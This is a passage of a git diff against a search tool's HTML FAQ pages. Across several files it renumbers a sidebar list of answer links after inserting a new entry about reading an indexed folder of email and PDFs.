class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class="active"><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class="active"><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/check-codebase-index-is-complete.html b/landing/answers/check-codebase-index-is-complete.htmlindex 2b0b2dc94..47d9daa56 100644--- a/landing/answers/check-codebase-index-is-complete.html+++ b/landing/answers/check-codebase-index-is-complete.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class="active"><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class="active"><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/classify-text-from-labelled-history-without-llm.html b/landing/answers/classify-text-from-labelled-history-without-llm.htmlindex 660439a3d..70683d638 100644--- a/landing/answers/classify-text-from-labelled-history-without-llm.html+++ b/landing/answers/classify-text-from-labelled-history-without-llm.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span 